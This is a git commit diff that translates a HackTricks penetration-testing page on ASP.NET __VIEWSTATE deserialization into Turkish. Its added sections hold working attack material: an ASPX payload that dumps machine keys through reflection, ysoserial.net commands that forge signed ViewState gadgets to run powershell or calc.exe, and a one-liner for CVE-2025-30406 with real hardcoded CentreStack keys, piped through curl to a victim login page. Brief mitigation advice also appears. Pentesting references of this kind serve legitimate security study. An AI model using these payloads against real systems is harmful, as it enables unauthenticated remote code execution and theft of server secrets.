Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:15:49 +00:00
parent f227c9f6d5
commit 59bb0ea0ac

View File

@ -26,7 +26,7 @@ Görüntü, .NET framework sürümüne dayalı olarak ASP.NET'teki ViewState iç
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
Ayrıca, `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür:
ViewStateMAC'i tamamen devre dışı bırakmak için `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlamak da mümkündür:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için, en hızlı kullanım yolu olan "python blacklist3r" aracı mevcuttur.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur.
Viewstate ve generator doğrudan sağlanabilir:
```
@ -88,7 +88,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
@ -100,7 +100,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur** ama bunları **sağlamanız** gerekir:
Sunucu tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediğinde** `--generator` parametresini **sağlamanıza** **gerek yoktur**; ancak bunları **sağlamanız** gerekir:
```bash
--apppath="/" --path="/hello.aspx"
```
@ -110,23 +110,23 @@ Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu duru
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilme aşamasındadır...**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir** **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını** kontrol eder. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir**; **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekteki **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
Bu nedenle, saldırganlar dosya geçişi gibi başka bir zafiyet aracılığıyla Makine Anahtarını elde etmenin bir yolunu bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
Bu nedenle, saldırganlar başka bir zafiyet aracılığıyla Makine Anahtarını elde etmenin bir yolunu bulursa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
- ViewState serileştirme açığını istismar etmek için istekte `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
- ViewState serileştirme açığını istismar etmek için istekteki `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
### Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false her iki özellik de false dışında
### Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, her iki özellik de false dışında
Aşağıdaki parametreyi web.config dosyasının içine belirterek ASP.NET çerçevesinin kullanımını zorlayabiliriz.
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatif olarak, bu, web.config dosyasındaki `machineKey` parametresinin içine aşağıdaki seçeneği belirterek yapılabilir.
Alternatif olarak, bu `web.config` dosyasının `machineKey` parametresi içine aşağıdaki seçeneği belirterek yapılabilir.
```bash
compatibilityMode="Framework45"
```
Öncekilerde olduğu gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Önceki gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz:
```
@ -166,11 +166,11 @@ Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız ger
Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” yanıtı verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız.
Daha fazla bilgi için [buraya bakın](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
[Buradan daha fazla bilgiye bakın](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Yansıma Yoluyla ASP.NET Makine Anahtarlarını Dökme (SharPyShell/SharePoint ToolShell)
Hedef web kökünde **rastgele ASPX kodu yükleyebilen veya çalıştırabilen** saldırganlar, bunları zorlamaktansa `__VIEWSTATE`'i koruyan gizli anahtarları doğrudan alabilirler. Anahtarları sızdıran minimal bir yük, yansıma yoluyla dahili .NET sınıflarını kullanır:
Hedef web kökünde **rastgele ASPX kodu yükleyebilen veya çalıştırabilen** saldırganlar, anahtarları brute force ile kırmak yerine doğrudan `__VIEWSTATE`'i koruyan gizli anahtarları alabilirler. Anahtarları sızdıran minimal bir yük, yansıma yoluyla dahili .NET sınıflarını kullanır:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
@ -186,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
</script>
```
Sayfa talep etmek, **ValidationKey**, **DecryptionKey**, şifreleme algoritması ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir `__VIEWSTATE` gadget'ı oluşturmak için doğrudan **ysoserial.net**'e verilebilir:
Sayfa talep etmek **ValidationKey**, **DecryptionKey**, şifreleme algoritmasını ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir `__VIEWSTATE` aracı oluşturmak için doğrudan **ysoserial.net**'e verilebilir:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@ -196,14 +196,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Bu **anahtar dışa aktarma primi**, 2025 yılında yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
Bu **anahtar dışa aktarma primi**, 2025'te yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
## 2024-2025 Gerçek Dünya İstismar Senaryoları ve Sabit Kodlu Makine Anahtarları
### Microsoft “kamusal olarak açıklanan makine anahtarları” dalgası (Aralık 2024 Şubat 2025)
Microsoft Tehdit İstihbaratı, *machineKey*'in daha önce kamusal kaynaklarda (GitHub gists, blog yazıları, yapıştırma siteleri) sızdırıldığı ASP.NET sitelerinin kitlesel istismarını bildirdi. Düşmanlar bu anahtarları sıraladı ve WAF uzunluk sınırlarını aşmak için daha yeni `ysoserial.net` 1.41 `--minify` ve `--islegacy` bayrakları ile geçerli `__VIEWSTATE` gadget'ları üretti:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Statik anahtarları döndürmek veya Web .config'de *AutoGenerate* anahtarlarına geçmek (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) bu saldırı türlerini azaltır. {{#ref}}
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofox sabit kodlu anahtarlar
Kudelski Security, birden fazla CentreStack / Triofox sürümünün aynı `machineKey` değerleriyle gönderildiğini ve bu durumun ViewState sahtekarlığı yoluyla kimlik doğrulaması yapılmamış uzaktan kod yürütmeye olanak tanıdığını ortaya çıkardı (CVE-2025-30406).
Tek satırlık istismar:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372'de düzeltildi anahtarları hemen yükseltin veya değiştirin. {{#ref}}
{{#endref}}
## Referanslar
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}